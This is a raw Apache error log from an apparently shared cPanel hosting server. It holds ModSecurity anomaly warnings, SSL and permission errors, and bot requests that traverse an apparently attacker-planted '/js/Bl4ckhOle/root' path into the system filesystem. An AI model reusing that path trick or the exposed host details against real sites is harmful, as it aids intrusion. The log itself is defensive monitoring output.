[Fri Jul 17 09:49:51.100970 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:51.178140 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:51.451619 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:51.633491 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:51.907676 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:52.310067 2026] [security2:error] [pid 2050582:tid 2050582] [client 66.249.64.232:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almtaHXJZgUJ1jsEHj0sngAAABc"]
[Fri Jul 17 09:49:52.310106 2026] [security2:error] [pid 2050582:tid 2050582] [client 66.249.64.232:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almtaHXJZgUJ1jsEHj0sngAAABc"]
[Fri Jul 17 09:49:55.995069 2026] [security2:error] [pid 2013830:tid 2013830] [client 185.191.171.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/bin/unexpand"] [unique_id "almtawRRrtuZqNDDSqW6XwAAABo"]
[Fri Jul 17 09:49:55.995113 2026] [security2:error] [pid 2013830:tid 2013830] [client 185.191.171.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/bin/unexpand"] [unique_id "almtawRRrtuZqNDDSqW6XwAAABo"]
[Fri Jul 17 09:49:56.756183 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:56.790798 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:40120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:57.654465 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:40170] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:58.714896 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:40230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:59.312918 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:40254] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:01.150221 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:40348] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:02.612844 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:54230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:02.825887 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:02.947933 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:8/subsystem/tty22/power/control"] [unique_id "almtcjsMb3am0TgkjETlHAAAAAo"]
[Fri Jul 17 09:50:02.947996 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:8/subsystem/tty22/power/control"] [unique_id "almtcjsMb3am0TgkjETlHAAAAAo"]
[Fri Jul 17 09:50:03.044658 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:03.045009 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:54260] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:03.318696 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:03.507518 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:04.635340 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:04.912174 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:54332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:07.364189 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:54468] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:08.003487 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:54626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:08.130317 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almteJBVIrrUwtEhdafbQAAAAAU"]
[Fri Jul 17 09:50:08.131050 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almteJBVIrrUwtEhdafbQAAAAAU"]
[Fri Jul 17 09:50:08.131328 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almteJBVIrrUwtEhdafbQAAAAAU"]
[Fri Jul 17 09:50:09.568589 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:54896] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:10.799796 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 57.141.18.118:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory65/subsystem/devices/memory60/subsystem/devices/memory94/node0/memory133/node0/memory40/subsystem/uevent
[Fri Jul 17 09:50:11.022648 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 57.141.18.13:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory7/node0/memory9/subsystem/devices/memory39/node0/compact
[Fri Jul 17 09:50:11.932764 2026] [security2:error] [pid 2050582:tid 2050582] [client 57.141.18.53:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory65/subsystem/devices/memory124/node0/subsystem/devices/node0/memory68/subsystem/"] [unique_id "almte3XJZgUJ1jsEHj0sqgAAABc"]
[Fri Jul 17 09:50:11.932807 2026] [security2:error] [pid 2050582:tid 2050582] [client 57.141.18.53:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory65/subsystem/devices/memory124/node0/subsystem/devices/node0/memory68/subsystem/"] [unique_id "almte3XJZgUJ1jsEHj0sqgAAABc"]
[Fri Jul 17 09:50:14.262229 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtfo-0g_VSPeIeFN3KuQAAAAs"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:50:14.262355 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtfo-0g_VSPeIeFN3KuQAAAAs"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:50:14.290499 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.75:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/cpu/cpu2/node0/memory124/node0/memory43/subsystem/devices/memory100/node0/memory119/"] [unique_id "almtflh1WDijTxd1xw5WwAAAAAc"]
[Fri Jul 17 09:50:14.290645 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.75:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/cpu/cpu2/node0/memory124/node0/memory43/subsystem/devices/memory100/node0/memory119/"] [unique_id "almtflh1WDijTxd1xw5WwAAAAAc"]
[Fri Jul 17 09:50:14.309615 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/docs/examples/capture/add_shipping_info.php"] [unique_id "almtfk_0b3nWp8txtSDHhwAAAA0"]
[Fri Jul 17 09:50:14.310154 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/docs/examples/capture/add_shipping_info.php"] [unique_id "almtfk_0b3nWp8txtSDHhwAAAA0"]
[Fri Jul 17 09:50:14.310672 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/docs/examples/capture/add_shipping_info.php"] [unique_id "almtfk_0b3nWp8txtSDHhwAAAA0"]
[Fri Jul 17 09:50:15.062731 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:33522] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:15.155036 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.18:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory65/subsystem/devices/memory61/node0/memory110/subsystem/devices/memory94/subsystem/uevent
[Fri Jul 17 09:50:15.391781 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:33540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:16.673773 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:33596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:17.793836 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:33638] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:18.876000 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.59:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory32/node0/memory106/subsystem/drivers_probe
[Fri Jul 17 09:50:19.223930 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:33712] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:20.052127 2026] [cgi:error] [pid 2018741:tid 2018741] [client 64.23.172.197:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 09:50:20.052207 2026] [cgi:error] [pid 2018741:tid 2018741] [client 64.23.172.197:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 09:50:20.170974 2026] [cgi:error] [pid 2028246:tid 2028246] [client 64.23.172.197:0] AH02811: stderr from /usr/local/cpanel/cgi-sys/favicon.ico: script not found or unable to stat, referer: https://ftp.weeratrading.com/cgi-sys/suspendedpage.cgi
[Fri Jul 17 09:50:20.634449 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.66:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory95/node0/memory86/node0/memory65/node0/memory12/"] [unique_id "almthARRrtuZqNDDSqW6bAAAABo"]
[Fri Jul 17 09:50:20.634493 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.66:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory95/node0/memory86/node0/memory65/node0/memory12/"] [unique_id "almthARRrtuZqNDDSqW6bAAAABo"]
[Fri Jul 17 09:50:21.399840 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:37422] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:21.535695 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:37450] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:22.356423 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/tests/inputs/media.scss"] [unique_id "almthq14q1EBnanVMYGudQAAAAk"]
[Fri Jul 17 09:50:22.356950 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/tests/inputs/media.scss"] [unique_id "almthq14q1EBnanVMYGudQAAAAk"]
[Fri Jul 17 09:50:22.357485 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/tests/inputs/media.scss"] [unique_id "almthq14q1EBnanVMYGudQAAAAk"]
[Fri Jul 17 09:50:22.712362 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:37496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:24.405027 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:37548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:24.935673 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.93:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory15/node0/memory92/node0/memory81/node0/memory142/"] [unique_id "almtiCRF0UOO1RzB5_85DAAAAA4"]
[Fri Jul 17 09:50:24.935789 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.93:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory15/node0/memory92/node0/memory81/node0/memory142/"] [unique_id "almtiCRF0UOO1RzB5_85DAAAAA4"]
[Fri Jul 17 09:50:25.812428 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Http/Guzzle/ExceptionMapperSpec.php"] [unique_id "almtiejME1mgqYZ5O94wHwAAAAE"]
[Fri Jul 17 09:50:25.812830 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Http/Guzzle/ExceptionMapperSpec.php"] [unique_id "almtiejME1mgqYZ5O94wHwAAAAE"]
[Fri Jul 17 09:50:25.813252 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Http/Guzzle/ExceptionMapperSpec.php"] [unique_id "almtiejME1mgqYZ5O94wHwAAAAE"]
[Fri Jul 17 09:50:27.609567 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:37716] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:27.996819 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/tests/inputs/directives.scss"] [unique_id "almti1CBpfuYyhJ140vdSAAAAB4"]
[Fri Jul 17 09:50:27.997178 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/tests/inputs/directives.scss"] [unique_id "almti1CBpfuYyhJ140vdSAAAAB4"]
[Fri Jul 17 09:50:27.997506 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/tests/inputs/directives.scss"] [unique_id "almti1CBpfuYyhJ140vdSAAAAB4"]
[Fri Jul 17 09:50:29.846078 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Tests/Constraints/BlankValidatorTest.php"] [unique_id "almtjboj0IkvhSCYadmMPQAAAAQ"]
[Fri Jul 17 09:50:29.846429 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Tests/Constraints/BlankValidatorTest.php"] [unique_id "almtjboj0IkvhSCYadmMPQAAAAQ"]
[Fri Jul 17 09:50:29.846739 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Tests/Constraints/BlankValidatorTest.php"] [unique_id "almtjboj0IkvhSCYadmMPQAAAAQ"]
